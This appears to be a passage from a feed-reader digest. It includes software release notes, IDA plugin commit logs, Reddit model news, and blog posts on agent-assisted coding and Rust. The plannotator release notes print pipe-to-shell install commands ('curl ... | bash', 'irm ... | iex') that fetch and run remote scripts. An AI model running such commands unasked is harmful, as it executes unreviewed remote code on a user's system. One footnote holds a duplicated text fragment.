  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - Inbox: fix the stress-test breaks (batch 1) by @backnotprop in #1899
  - Inbox: an agent CLI that times out is stopped, not left running by @backnotprop in #1905
  - Inbox: a reply with no answers leaves the questions open by @backnotprop in #1903
  - Inbox: fix the stress-test breaks (batch 2) by @backnotprop in #1906
  - Inbox search, part 1: the index and GET /api/inbox/search by @backnotprop in #1902
  - Inbox search, part 2: the window by @backnotprop in #1904
  - Inbox: What's new fetches the notes for a version installed outside the Inbox by @backnotprop in #1911
  Full Changelog : v0.28.19...v0.28.20
6. 🔗 r/LocalLLaMA NVIDIA Nemotron Bolt 3.5 74B A9B releases Oct. 15th rss
  
  |
  
  This model is a 74B parameter, 9B-active-parameter mixture-of-experts (MoE) model, packed into 24GB using 2-bit quantization with advanced quantization- aware training techniques to retain quality. It aims to achieve the optimal balance between speed and intelligence, being faster than most popular dense models while smarter than most popular MoE models with a similar memory footprint.
  
  Nemotron 3.5 Bolt E4B 4GB releases Oct. 23 Additional detail submitted by /u/CulturalKing5623
  [link] [comments]
  ---|---
7. 🔗 r/LocalLLaMA The AI race: China's open-weight models trail US closed models by just 7 months rss
  
  | Source: whatmodel.sh, an open source AI leaderboard I built (and launched here yesterday). Every point comes from published benchmark results: 22,113 of them across 987 benchmarks, from 1,011 sources, each one linked to where it was published. This chart uses data for the text models: 18,755 results for 1,211 models on 617 benchmarks. - 14,436 results are independent evaluations: papers whose authors ran the models themselves (mostly CC BY papers from the ACL Anthology and arXiv), Epoch AI, the LMArena dataset, EvalPlus, the EleutherAI harness and others. - 7,677 are scores labs report for their own models, labelled as lab-reported. Everything is open: the dataset (CC BY-SA 4.0) and the scoring code (MIT) are at https://github.com/jakemanger/whatmodel, with CSV downloads at https://whatmodel.sh/data/manifest.json. Every number links back to its source, and each source's licence is recorded. Interactive version (click any model to see its scores and sources): https://whatmodel.sh/race Please star on github if you find it useful! submitted by /u/jakecoolguy
  [link] [comments]
  ---|---
8. 🔗 HexRaysSA/plugin-repository commits sync plugin-repository.json rss
```
sync plugin-repository.json

No plugin changes detected
```
9. 🔗 HexRaysSA/plugin-repository commits fix: drop renamed-repo aliases that index plugins twice (#42) rss
```
fix: drop renamed-repo aliases that index plugins twice (#42)

GitHub redirects a renamed repo's old name, so seeding both the old and
new name makes the snapshot index the same plugin under two hosts
(patching-ng, efiXplorer). Remove the old names from the seed list and
ignore them so search can't re-add them.
```
10. 🔗 Jessitron Sharing Theories with Agents rss
  
  As I'm working with an agent to upgrade a repo from vibe-coded to something I can understand and dig into, I am reminded that Programming is Theory Building.
  
  By "theory" we mean: an understanding of the world, the software and how they relate that's good enough to let us work intelligently on them, answer questions about them, and argue about them.
  
  Like: we have a theory about what the world needs (I need to be able to comment on this HTML!), how the software meets those needs (a server injects the buttons for this), and how it's going to meet more (let me edit the content as markdown!).
  
  Software development is reality construction. We make something real in the world, we change what happens when I move my finger this way or click these clackety keys. Conceiving the new world (and how we get there) is programming. That work used to take more typing, more troubleshooting, and more puzzle solving. It has always been, at its core, building a theory of how a piece of the world works and how it can work.
  
  To go from vibe-coded to programmed, I build that theory. I get the agent to start a document explaining what's going on in that software and why. Then I iterate on that document with it until we're in agreement. I check it against the world and what we need and what makes sense to me; it checks it against the code.
  
  Building that document together builds the theory of this software for me. Reading it builds the theory for every agent that starts up in this repository.
  
  Reading only that document means that the agent's theory is shared with me. More documentation is not better! The only context I want the agent to have is documentation I've read and iterated on (so it's connected to my reality) and the code (which runs, so it's real).
  
  The documentation I read needs to maximize its communicative power. That means diagrams, pictures, and varied structure. HTML beats markdown for this, and the agent is a whiz at writing HTML with SVG figures.
  
  Markdown is a lot easier for me to tweak and comment in, though. I have a need to comment on HTML! And modify its content as easily as markdown. Good thing we have agents to solve this!
  
  Here's a skill, based on Arlo Belshee's process, that helps an agent iterate on a document with you. The plugin includes a tool for commenting on HTML and tweaking the content. Also included is a skill for making a project overview document (like this one) as part of theory-building.
  
  Programming is theory building more than ever. The distance from a conception of how the world can be to some new reality is so much shorter with agents! We still need to understand what we want, and conceptually how it can work, and how we'll get there. That is still the hard part, and we get to work ever harder on it.
11. 🔗 smol-machines/smolvm smolvm v1.27.4 release
  What's Changed
  - Bump libkrun to keep guest addresses to their proxy's family by @BinSquare in #1753
  - Bump libkrun to map guest RAM 2 MiB-congruent by @BinSquare in #1756
  - Bump the Nix package to 1.27.3 by @BinSquare in #1755
  - Bump ruzstd to 0.9.1 for RUSTSEC-2026-0344 by @BinSquare in #1759
  - Stop a guest process hanging when the host truncates a file it maps through DAX by @BinSquare in #1758
  - Bump version to 1.27.4. by @BinSquare in #1762
  Full Changelog : v1.27.3...v1.27.4
12. 🔗 Filip Filmar First Steps with rules_openxc7: A Beginner's Guide rss
  
  This tutorial teaches you how to build your first FPGA bitstream with Bazel and the open-source rules_openxc7 toolchain. You do not need any prior Bazel experience, and you do not need to install AMD Vivado or compile EDA tools from source. In four small files, we create a complete working project that synthesizes Verilog with Yosys, places and routes with nextpnr, generates a 7-series bitstream, and flashes your development board.
13. 🔗 Baby Steps What agents mean for Rust (and vice versa) rss
  Me, calmly assessing the implications of LLMs for programming language design(ers).
  
  As someone who has made a career of programming language design, I definitely have moments of existential dread about the rise of LLMs. I started coding in 5th grade on an x861 that ran at 5MHz, had something like a 5MB hard-disk and 512K of RAM2. Computers were really, really different back then. But honestly, programming wasn't. For all the advances in IDEs and programming languages and so forth, the basic act of entering code into a file has remained surprisingly constant3 - right up until a few years ago, when everything kinda turned on its head. That's been exciting and empowering at times4 but also scary and disorienting. Will my skills in programming matter? What about my skills in programming languagedesign (such as they are)? This blog post is my attempt to answer those questions.
  
  So as not to keep you in suspense, let me just give you the conclusion. In short, yes, I believe there will still be a role for humans in programming. And yes, I think that programming language design is still relevant. And, naturally, I also happen to think Rust is a really good fit for agentic development - but that's not to say we can't make it a better fit. And that's what this post is ultimately about: what makes Rust and agentic development work well, and where we could double down on those strengths.
  
  This is a kind of "blog post companion version" of a talk I gave this week at REBASE, part of SPLASH. You might also enjoy the slides from the talk I gave at IWACO, IWACO and Rust: hidden links revealed, which was a bit more of a retrospective (no soundtrack for those, though). In any case, this turned out to be a great conference! Jack Huey presented on the Rust Vision Doc and, quite to my surprise, Steve Klabnik and Dorian Scheidt presented "LLMs as Collaborators in Language Specification and Design", talking about their process in building out Rue. It was fun to see Steve again. On top of that, there was a ton of great research presented at IWACO in particular. I was particularly taken by the work on Reachability Types and Information Borrowing. I also really liked learning about Hylo Lang, particularly their approach to projections. Clever and cool.
  
  Rust is popular in the agentic era
  
  From the most important Slack channel at Amazon, #aws- memes.
  
  Rust is popular right now. Very popular:
  
  Stratospheric among the breakout languages is TypeScript, cropped from the chart and sitting currently at +1200% growth from the prior year. [..]
  
  The second most rapid recent growth is in Rust. Meta engineers have written twice as much first-party Rust code so far this year than in the previous 9 years combined.
  
  — David Tolnay (emphasis mine)
  
  Some of that is because agents make it very easy to try out new things. And some of that is because Rust has a reputation for being performant and, if it's just as easy to pick any language, why not pick one that will yield faster execution times?
  
  But I think Rust is popular for another reason: because Rust happens to be a really good fit for agentic coding6. Of course, I would, wouldn't I? The point of this post is (1) to argue for why that is and then (2) to discuss what we might change about Rust to make it work even better.
  
  Foundational Software construction with agents
  
  It seems to me that an effective "software factory" will have three pillars:
  - Design: figure out and specify clearly what the code is supposed to do.
  - Construction: author code that does what it is supposed to do.
  - Optimization: optimize the code so that it runs efficiently.
  None of these pillars are solved, but some have made more progress than others.
  
  Rust and optimization: fast by default, knobs when you need 'em
  
  Rust is designed to give "good performance by default", making the idiomatic thing typically also be the fastest thing. But another key part of Rust is that you have the knobs to eke out better performance when you need it. You control when something is stack- or heap-allocated and where pointer indirection occurs. If you want to, you can force the layout of your structs to be done in a particular way, or decide where to introduce boxing into your async stack frames. In the limit, you can put in inline assembly.
  
  In the past, learning how to "tune the performance knobs" could be a bit of a black art: but agents are making that much easier.7 It turns out that agents are really good at fine-tuning the performance of existing code. For example, people who work on super high-performance cryptographic algorithms used to do so by hand-tuning assembly code. But those people tell me that they are now turning to agents for that same job. More prosaicly, a lot of people building network services are finding that, using a profiler like dial9, agents can quite effectively diagnose async performance pitfalls, like long polls or blocking.
  
  Therefore, I think the task for Rust is clear. We keep on with our goal of "low-level enough for a kernel, high level enough for a GUI". If anything, I think the shift around agents means we can tolerate a bit more "noise" in the form of explicit calls to clone() or share() - but not too much, since we still want the "happy path" of the code to be clear and evident8, even as we surface details that are important in specific scenarios (like tracking precisely how many clones you have of a channel endpoint). Combined with a profiler, you get an effective feedback loop to get your code running fast:
```
flowchart LR
    Code -- Benchmark --> Profile
    Profile -- Analyzed by --> Agent
    Agent -- Propose --> PR
    PR -- Improve --> Code
```
  Reliability is king, as always
  
  As usual though, while a reputation for good performance is what brings people to Rust, what makes them want to stay is a sense that using Rust "just seems to work better". The basic theory is that Rust's type system and guardrails help keep agents on track:
  
  rust is a perfect language for agents, given that if it compiles it's ~correct
  
  -- Greg Brockman (@gdb) January 2, 2026
  
  I think there's truth in that: languages like Rust, Ocaml, or Haskell all share this "if it compiles, it works" feeling, and I think that agents will benefit from that.
  
  Testing is not enough, type systems help
  
  Testing can show the presence of bugs, but not their absence.
  
  — Edsger W. Dijkstra, 1970
  
  Agents presenting their work.
  
  Writing tests has never been enough to show that your program is correct - but, with agents, it's not even close. It happens so often that my first few tests seem great and then the next one goes completely bonkers. Usually bonkers in a way where I cannot even imagine how that bug could have come about. Then I dig in and I realize the agent completely missed the boat on the logic I was trying to express.9
  
  This is where a type systems really shines - particularly an advanced one like Rust. Type systems give you some guardrails that keep the agent on track. In Rust, those guardrails extend beyond simple stuff like "do all fields have the correct names" and to stuff like never having to close a socket.
  
  Type systems are not enough either
  
  Type systems can show the absence of bugs, but not the presence of correctness.
  
  — Me, failing to coin a phrase of equal eloquence10, 2026
  
  So yeah, type systems are helpful! But they have inherent limits. A type system is a simple set of rules that, if you follow them, make sure that you avoid (certain kinds of) mistakes. But they don't tell you that you do the right thing - only that you don 't do (certain kinds of) wrong things. If you want to go further, you need a proof system - something that will let you show that richer properties are actively true, not just that you're avoiding bugs.
  
  As it happens, there are a lot of interesting proof tools for Rust, like Verus, Creusot, Aeneas, and Kani. As a starting point, you can prove that your code is panic- free, which will eliminate a lot of bugs, though it is still fundamentally a "type-checker-like" property (i.e., you avoid doing things wrong). But you can also go further and add assertions that show your code is computing the results you expect.
  
  Strong guardrails give better performance
  
  Deplying proofs is not just good for getting code right - it's good for getting code fast. This is somewhat counterintuitive, but it's true. Earlier I mentioned how optimized cryptographic algorithms were now being written by agents. Part of what makes that possible is that cryptographic algorithms have a very clear mathematical definition. This means that you can basically tell the agent "do whatever you want, as long as you can prove that the code still computes the correct result". These proofs can be done with theorem provers like Lean or Rocq. The blog post "Why Lean is faster than Rust" makes the point quite well.
  
  For Rust, a good example of this would be around unsafe code. Right now, people are sometimes reluctant to deploy unsafe code even if it might make their code faster because it's not worth the risk of getting it wrong. And I applaud that effort. But what if you could use a prover to show that your unsafe code is, in fact, safe (i.e., incapable of causing undefined behavior)? Then you'd be free to optimize to your heart's content.
  
  If we are going to prove things, do we need type systems?
  
  You might wonder: if we're deploying a proof system on our code, do we still need type systems? I think the answer is definitely yes. Type systems are infinitely simpler to work with, which is why they are much more popular. Using a type system lets you rule out all kinds of annoying bugs so that you can focus your "proof energy" only on the important stuff.
  
  As a simple example of this, consider the following Java code:
```
void setFoo(Bar bar) {
    this.foo = bar;
    assert this.foo == bar;
}
```
  Without seeing more code, it is impossible to prove whether this assertion is true or not! This is because there could be any number of other threads running around mutating this. In contrast, the following Rust code must be true (at least, so long as the Eq operator is reflexive for Bar):
```
fn set_foo(&mut self, bar: Bar) {
    self.foo = bar;
    assert_eq!(self.foo, bar);
}
```
  We know this because the type system of Rust guarantees that &mut self implies a unique reference.
  
  This is in fact exactly how Verus works. By trusting the Rust borrow checker to track uniqueness etc, it simplifies the job of the SMT solver, making proof checking must faster and more reliable than it would be otherwise.
  
  Where I think Rust should go on reliability
  
  So my take is that Rust should double down on if it compiles, it works. As expressive as Rust's type system is, there are plenty of things that it cannot capture. This includes fairly common things, like this method only reads one particular field or internal references, but also fancy things like "no logging of personally identifiable information". We should work to lift those limits, giving agents room to prove more complex properties.
  
  We also need to improve the experience of integrating a proof tool by working towards an extensible compiler. As cool as the existing Rust-based proof tools are, using them is a janky experience involing annoying macros and pinned compiler versions. We can do better.
  
  A north star: No more unsafe code
  
  I'd like to propose a north star for Rust: no more unsafe code. By that, I don't mean that we never use the unsafe keyword. Rather, I mean that we have the power to prove that all the unsafe code we write is correct and cannot cause undefined behavior. Don't get me wrong: knowing exactly what code needs to be vetted is a huge step forward, as is normalizing the idea that libraries need to be responsible for protecting their users from undefined behavior via safe API boundaries11. But given agents' ability to find vulnerabilities, I think we need to up-our-game if we want to stop the steady stream of CVEs.12
  
  Design is an open problem
  
  But before you go about proving things or optimizing them, you need to have a clear idea of what you are building. As far as I can tell the state of the art here is basically variations on "markdown-driven-development", developing docs and hoping that agents pay attention.
  
  I don't know how much of a role for Rust there is in this space. I think there are some steps we might wind up taking that could be helpful here - for example, having ways to separate out interface from implementation so that it's easier to review the interface in isolation or to see when the agent made changes there.13 Or perhaps just providing betters tools to review that.
  
  I also think there's space for dedicated "modeling languages", something that let you iterate quickly with agents on the high-level designs and invariants without having to get into the weeds and read the code. I have more thoughts on this but it merits many blog posts all of its own. For the moment, I'll start by pointing you all at this post by Kari Wilhelm, "Principles of Anchor Engineering", which I think does a nice job of describing what it means to pull out the key elements of a design and drive the coding from there.
  
  Conclusion
  
  We covered a lot of ground here, so let me put this all together. What makes Rust a good choice for developing with agents?
  - It offers good default perf (why pay more?) and, in conjunction with a profiler, can be tuned as much as you want.
  - The type system gives stronger guardrails, and if you setup your agents right, you can strengthen those guardrails through techniques like new types.
  And what could make it better, from a language design perspective? Overall, I think it's very similar to what we were doing, except that the way we weight the tradeoffs is tweaked to account for agents doing the code authoring, and humans focused more on code comprehension:
  - If it compiles, it works - our type system is our big advantage, we need to make it more expressive and more functional so that agents don't get stuck trying to work around it!
    
    And as an adjunct, establish a North Star: Enable Unsafe code without unsafety by supporting proof, and see the most widely used Rust libraries proven sound.
  - Low-level enough for a kernel, high-level enough for a GUI - make sure we expose the knobs needed to tune for performance, while also making the code's intent clear (but don't worry about golfing the code down to an absolute minimum number of characters).
  - Extensible and versatile - one of Rust's great strengths is that, with macros + our type system, we support DSLs and a wide variety of targets. We need to bring that spirit of extensibility into the compiler so we can target more styles of development (e.g., GPU, deep language interop, etc) and also integrate theorem provers and other tools that require more than just tokens.
  As a final close, let me point you at this interesting article by Marc Brooker, "What's easy now? What's hard now?". He posits that the more it is possible to clearly specify success criteria for a task, the easier it is, and that we may find that tasks we traditionally think of as 'hard' (e.g., building out an efficient implementation of a cryptographic algorithm) may soon become automated, whereas tasks that we have thoght of as 'easy' (e.g., making a unique, compelling website) may become more valued.
  
  Looking at it from a PL point-of-view, I think Marc's point reinforces my sense that the biggest action is going to come from design languages , things that let you capture the architecture and intended behavior at a very high-level. The goal would be to let humans intuitively specify a design that gets translated into effective guardrails, whether that's type system checks, lints, or theorems to be proven. Agents would then take on the task of translating the design into code written in a traditional PL like Rust, with humans looking at it only rarely. This doesn't make the design of traditional PLs less interesting, but it definitely makes the tradeoffs very different than they were before.
  1. Secretly I have always been jealous of people that coded using punchcards and stored things on gigantic rolls of tape or whatever. I just want to be world weary so badly! I am kinda delighted that I'm finally old enough that I can say things like "I remember when we had to edit CONFIG.SYS before we could play a computer game!" and younger programmers will gasp in horror.5 But I still feel like I must sound like a silly kid to folks who were around "back in the day". ↩︎
  2. I still remember when my dad told me he had bought me a 10MB disk and secretly he had bought a 40MB disk to surprise me. It seemed absurdly large. "I'll never need a new disk again!" ↩︎
  3. I mean my god, we're even using vi again! My first editor! ↩︎
  4. I built an electron app! And it was so easy to do! And reading weird papers and things is so much more accessible now that I can ask an LLM to translate all the math jargon for me. ↩︎
  5. I remember once trying to tell Alex Crichton how I used to "order shareware from a paper catalog by putting a check in the mail" and he was like "I do not understand any of the nouns in that sentence". Highlight of my life, right after Rust 1.0. Oh, and maybe the birth of my child and getting married. I guess. ↩︎
  6. I'm not saying Rust is the only language that's a good fit. I'm not even saying that the way that Rust is a good fit is the only way to be a good fit. I have heard for example that Go is a really good fit for agentic coding and I believe it: I think it hits a different sweet spot, one that helps agents iterate quickly (although I do suspect agents will let data races and subtle bugs slip through that Rust would have prevented). ↩︎
  7. The fact that agentic development makes more room for knobs is good for Rust performance, but it is quite likely an even better fit for performance in other languages. Tuning a GC has traditionally been a job that really requires a GC expert, but agents can likely fill that role pretty well these days. ↩︎
  8. On this pont, I'm even more convinced of the importance of ergonomic RC now that I work with agents. Agents are good at introducing the extra clones and things you need to deal with capturing around async tasks, but the resulting code is so annoying to read, it really hides what's going on. ↩︎
  9. "Claude, this is not what we talked about!" - me, all too often. ↩︎
  10. So close though, right? I just .. couldn't land the plane. ↩︎
  11. All too often, C++ libraries consider it adequate to tell users "you're holding it wrong" - i.e., that they are responsible for causing undefined behavior by misusing the API. Rust takes a clear position that a safe API has to protect its users, no matter how much they abuse it. ↩︎
  12. To be fair, if Rust is encountering a stream of CVEs, other languages like C++ and Java are encountering a veritable flood, since they lack the protection of Rust's type system. st takes a clear position that a safe API has to protect its users, no matter how much they abuse it. ↩︎
  13. The revenge of .h files? ↩︎
October 13, 2026
1. 🔗 IDA Plugin Updates IDA Plugin Updates on 2026-10-13 rss
  IDA Plugin Updates on 2026-10-13
  
  New Releases:
  - oh-my-pi v18.10.4
  Activity:
  - BenchLog
    
    c185f5f4: Merge pull request #4 from liquidsax/cursor/rtt-swd-backend-53cd
  - capa
    
    965c0486: Merge pull request #3184 from mandiant/dependabot/pip/msgspec-0.22.0
    
    9e41a1f1: Merge pull request #3179 from mandiant/dependabot/pip/funcy-2.1
    
    3ced5c30: Merge pull request #3185 from mandiant/dependabot/pip/mypy-2.4.0
    
    b924aa74: Merge pull request #3189 from mandiant/dependabot/npm_and_yarn/web/ex…
    
    c6201778: Merge pull request #3190 from mandiant/dependabot/npm_and_yarn/web/ex…
    
    f426f14a: Merge pull request #3191 from mandiant/fix-viv-workspace-loading
    
    f7ddbb4f: Merge pull request #3193 from mandiant/fix-ghidra-shutdown
    
    3413a090: Merge branch 'master' into fix-viv-workspace-loading
    
    2966d2cc: ghidra: clean up cached extractors before JVM shutdown in tests
    
    7b14161e: Merge pull request #3192 from mandiant/ci-ubuntu-24.04
    
    5464a9a1: ci: fix zizmor bot-conditions and ref-version-mismatch findings
    
    a872dd8c: ci: migrate macos-14 to macos-15 and bump actions to node24
    
    3ab6400d: ci: update Ubuntu runners from 22.04 to 24.04
  - Luc-Nhan
    
    93b801df: fix(ui): persist model catalog cache across restarts
  - oh-my-pi
    
    74c049e5: docs(fork): record the v18.10.3 upgrade and rebase the patch-list bas…
    
    847cae7f: fix(catalog): re-derive compat leaves on fork-carried rows for the v1…
    
    ae3543de: Merge upstream v18.10.3 into the fork
    
    2816fe6d: v18.10.3 upstream source
    
    172a4fbc: fix(slash-commands): inject tools into whitelist-restricted sessions
  - omppp
    
    fcdd88ed: sync: merge upstream/main 18.10.3 (f1ac114d8d) into OMPx 1.11.7
    
    f1ac114d: Merge pull request #15616 from can1357/fix/gc-compress-followup
    
    9395e164: fix(gc): skip leading JSON whitespace before ruling out a session header
    
    966e0dc1: fix(gc): lease each session id once and skip non-JSON artifacts befor…
    
    29ed918c: fix(gc): close compress gaps Codex flagged after #15600's last review…
    
    74df786d: Merge PR #15600: feat(coding-agent): compress idle sessions in place …
    
    414500c7: fix(gc): keep compress running past unreadable sessions; stats skips …
    
    7863d393: Merge remote-tracking branch 'origin/main' into pr-15600
    
    684877c2: fix(gc): detect compression by volume, drop btrfs, use LZNT1 on NTFS
    
    e25ea00e: fix(coding-agent): skip stale and blank plan reviews from openPlanReview
    
    d40b86cf: Merge PR #15552: feat(extensions): let extensions reopen the plan rev…
    
    f411d326: fix(extensions): open plan reviews from extensions without aborting work
    
    4a780a40: Merge PR #15561: fix(browser): discard shared browser session-restore…
    
    4d264c1f: refactor(browser): guard shared-browser detach in modeService
    
    8c08c4ac: Merge PR #14891: fix(catalog): price Devin cache writes and long-cont…
    
    a02dba99: fix(catalog): bounded Devin GPT cache-write rate and excluded unpubli…
  - plugin-ida
    
    763f3c35: chore(deps): Bump step-security/harden-runner from 2.21.1 to 2.22.1 (…
2. 🔗 r/LocalLLaMA Someone is running Qwen 27B at ~20 tok/s on a jailbroken PS5's GPU rss
  
  | submitted by /u/LatentSpacer
  [link] [comments]
  ---|---
3. 🔗 Jeremy Fielding (YouTube) Professional Design Tips for Young Engineers rss
  
  If you want to join my community of makers and Tinkers consider getting a YouTube membership 👉 https://www.youtube.com/@JeremyFieldingSr/join
  
  If you want to chip in a few bucks to support these projects and teaching videos, please visit my Patreon page or Buy Me a Coffee. 👉 https://www.patreon.com/jeremyfieldingsr 👉 https://www.buymeacoffee.com/jeremyfielding
  
  Social media, websites, and other channel
  
  Discord 👉https://discord.gg/F3XuyhNRPc Instagram https://www.instagram.com/jeremy_fielding/?hl=en Twitter 👉https://twitter.com/jeremy_fielding TikTok 👉https://www.tiktok.com/@jeremy_fielding0 LinkedIn 👉https://www.linkedin.com/in/jeremy-fielding-749b55250/ My websites 👉 https://www.jeremyfielding.com 👉https://www.fatherhoodengineered.com My other channel Fatherhood engineered channel 👉 https://www.youtube.com/channel/UC_jX1r7deAcCJ_fTtM9x8ZA
  
  Notes:
  
  Technical corrections
  
  Nothing yet
4. 🔗 r/LocalLLaMA Character.AI files for bankruptcy, to sell some assets to Disney for $20 million rss
  
  Are we seeing early signs of the bubble popping?
  
  submitted by /u/jld1532
  [link] [comments]
5. 🔗 backnotprop/plannotator v0.28.19 release
  Follow @plannotator on X for updates
  
  Missed recent releases? Release | Highlights
  ---|---
  v0.28.18 | plannotator inbox connects your agents, agents are told when to use the Inbox, rendered Markdown in code review, Inbox Settings in sections
  v0.28.17 | The Inbox on iPads and narrow windows, the reply bar no longer cuts off "Keep open", a Pi crash on /reload fixed
  v0.28.16 | The Inbox on a phone, a doorbell for new questions, Mark read, step through a thread's files, replies when the asking session ended
  v0.28.15 | Long Inbox threads fold to what is new, "Skipped N questions" replies, Inbox list and sidebar fixes
  v0.28.14 | Agents can replace an earlier question, comment on a guided review in the Inbox, issue numbers link to the repository
  v0.28.12 | Update notices and plannotator update, attach any file to an Inbox message, questions with context, links to attached files
  v0.28.11 | plannotator inbox --help prints a full guide for agents, and the plannotator.ai/inbox install prompt
  v0.28.10 | The Inbox over your tailnet with plannotator inbox --tailscale, images in agent messages load, click anywhere on an attachment tile
  v0.28.9 | Large Inbox messages through plannotator inbox mcp fixed, an Inbox sidebar you can close and resize, Edit Mode in reviews of several files, the new Pi logo
  v0.28.8 | The Plannotator Inbox (preview): messages, questions, files and guided reviews from your agents in one local window
  v0.28.7 | Ask this session keeps your drafts as drafts, image comments survive a reload, hostname check on every server
  v0.28.6 | Ask AI names the lines you selected, reorder quick labels and edit their emoji, Pi fixed-port crash fixed, OpenCode 2 subagent notice fixed
  
  What's New in v0.28.19
  
  A small release with two contributions from @leoreisdias: Ask this session for Claude conversations in T3 Code, as an opt-in install flag, and folder annotate sessions that load a page's shared stylesheets and images from anywhere in the folder. On the Inbox side, the question about adding a note to your agents' instructions moves from a card above the list into a one-time dialog that asks once per agent, and the session-start reminder now tells agents where to read how the Inbox works. 5 PRs in all, 2 from an external contributor.
  
  Ask this session in T3 Code
  
  When Claude runs plannotator review, plannotator annotate or plannotator last inside a T3 Code conversation, the review used to open with no link back to that conversation: Ask AI could only start a separate agent, and the decision came back as the output of a command that had blocked Claude until you were done.
  
  With the new opt-in installer flag, those reviews connect to the conversation that ran the command. Ask this session sends your question into that T3 conversation as an ordinary turn and shows the answer in the review, including when the conversation was idle. The command returns as soon as the review opens and Claude ends its turn, and your decision (feedback, Approve with notes, or a gated approval) arrives later in the same conversation, worded the way the Claude Code integration words it. Claude keeps running the same commands as before and needs no T3 address or thread id; the hook finds the conversation from Claude's own tool call and never guesses by title or folder.
  
  Setup, on macOS or Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash -s -- --with-t3
plannotator t3 login --url <the MCP URL from T3 Settings → Connections>
```
  The flag adds one Claude PreToolUse hook to your Claude settings (backed up first), and automatic updates keep it. plannotator t3 login asks T3 to authorize Plannotator once. --without-t3 removes only that hook. Nothing changes for anyone who does not pass the flag: the Claude plugin, the skills and default installs add no T3 hook.
  
  Limits worth knowing. Only Claude conversations are routed, and only simple Bash runs of review, annotate and last; plan review, compound shell commands and strict scripted gates keep their usual behavior. The hook runs for every Claude Agent SDK session on that profile, so a claude -p run or another SDK app pays roughly a third of a second per Bash call before the hook finds no T3 conversation and leaves the command alone. Setup details and diagnostics are in packages/t3-code/README.md.
  - #1807, by @leoreisdias
  Folder sessions load shared stylesheets and images
  
  Annotating a folder of HTML pages that share one assets/ directory left nested pages unstyled. In plannotator annotate course/, a page at lessons/lesson.html that links ../assets/lesson.css could only load files from its own directory, so the stylesheet, scripts and images never arrived.
  
  In a folder session the selected folder is now the asset root for every page inside it, while relative references still resolve from each page's own directory. ../assets/lesson.css loads, and so do shared images, inline CSS url()s and srcset entries. Share links carry the same assets. Single-file sessions keep their current scope.
  
  A page still loads anything in its own folder, exactly as before, hidden folders such as .vendor/ or .vitepress/ included. What is new is that it can also reach the rest of the selected folder, and there it is refused hidden files and folders (any path segment starting with .) and the .env family, whether it asks for them directly or through a symlink. Because a page can load the folder's other non-hidden asset files, pick the folder you mean to review rather than your home directory.
  - #1568, by @leoreisdias, and #1900
  The agent note is asked once per agent, in a dialog
  
  In v0.28.18 a card above the Inbox list asked, once, whether to add a short Inbox note to your agents' instruction files. That card is gone. The question is now a dialog that opens once, after the sound dialog and never on the same page load.
  
  Each agent gets a row with the exact file the note goes into and whether it adds to the end of that file or creates it. Every agent starts ticked, Claude Code included, and the main button names who it adds to ("Add to Codex, Gemini CLI and Claude Code"), or reads "Don't add a note" when you untick them all. Results show in the same rows: Added, Created, or Not added with the reason and Try again. When plannotator inbox connected agents since you last looked, the "Connected …" report sits at the top of the dialog. Escape, the backdrop and Not now write nothing.
  
  The question is now asked once per agent rather than once ever. An agent you install later gets the dialog for itself alone, and an agent whose note could not be written is asked again. If you already answered the card in v0.28.18, those agents count as asked and you will not see the question again for them. Nothing is written without your yes, and Settings → Agents and plannotator inbox --notes work as before.
  - #1896
  Copy connect prompt in the Inbox sidebar
  
  A new row above Settings copies a short prompt you can paste into any agent, at any time. The agent reads plannotator inbox --help, connects itself to your Inbox for its next sessions, and sends you a first message there. The prompt names this computer's own plannotator, so it works when pasted into an agent on this machine.
  - #1901
  The session reminder points agents at plannotator inbox --help
  
  The one-line Inbox reminder that each session gets at start now ends with "Run plannotator inbox --help for how it works.", so an agent that has never seen the Inbox knows where its full guide is. It is still fixed text, so the first session after updating misses the prompt cache once and later sessions do not.
  - #1895
  Install / Update
  
  macOS / Linux:
```
curl -fsSL https://plannotator.ai/install.sh | bash
```
  Windows:
```
irm https://plannotator.ai/install.ps1 | iex
```
  Claude Code Plugin: The plugin and the plannotator binary update separately, so run the install script above as well. In a terminal:
```
claude plugin marketplace update plannotator
claude plugin update plannotator@plannotator
```
  Then restart Claude Code. Inside Claude Code, run /plugin marketplace update plannotator, then open /plugin → Installed → plannotator → Update now.
  
  Pi:
```
pi update --extensions
```
  OpenCode: Re-run the install script above. It now also clears the OpenCode 2 plugin cache.
  
  What's Changed
  - fix(annotate): resolve shared HTML assets within selected folders by @leoreisdias in #1568
  - Inbox: the session reminder points agents at plannotator inbox --help by @backnotprop in #1895
  - Annotate: folder sessions keep a page's own hidden asset folders by @backnotprop in #1900
  - Publish prep: @plannotator/core 0.25.13 and @plannotator/ui 0.53.0 by @backnotprop in #1898
  - feat(t3): connect Ask this session through an optional Claude hook by @leoreisdias in #1807
  - Inbox: the agent note asks in a dialog, once per agent by @backnotprop in #1896
  - Inbox: Copy connect prompt in the sidebar by @backnotprop in #1901
  Contributors
  
  @leoreisdias wrote both of this release's community contributions. His T3 Code integration (#1807) maps Claude's tool call to the T3 conversation that made it through T3's own API, so Ask this session and review decisions reach that conversation without the agent knowing T3 is there; it was verified live against T3 Code before we finished it for release. His folder asset fix (#1568) makes the selected folder the shared asset root in both the Bun and Pi servers and in share links; we added the hidden-file refusal on top of it. Both build on his earlier work on annotate and code review, including HTML Refresh and comparing a local branch with its remote.
  
  Full Changelog : v0.28.18...v0.28.19
6. 🔗 r/LocalLLaMA "New AI fake text generator may be too dangerous to release, say creators" (2019 Guardian headline) rss
  
  I'm sure some here read this at the time and remember, but I recently found this hilarious Guardian article from 2019 through Wikipedia:
  
  https://www.theguardian.com/technology/2019/feb/14/elon-musk-backed-ai- writes-convincing-news-fiction
  
  Some choice quotes:
  
  "OpenAI ... says its new AI model, called GPT2 is so good and the risk of malicious use so high that it is breaking from its normal practice of releasing the full research to the public in order to allow more time to discuss the ramifications of the technological breakthrough."
  
  "One is its size, says Dario Amodei, OpenAI’s research director. ... It was trained on a dataset containing about 10m articles, selected by trawling the social news site Reddit for links with more than three votes. The vast collection of text weighed in at 40 GB, enough to store about 35,000 copies of Moby Dick."
  
  Some people never change!
  
  submitted by /u/Frail_Waif
  [link] [comments]
7. 🔗 r/LocalLLaMA LiquidAI/LFM2.5-24B-A2B rss
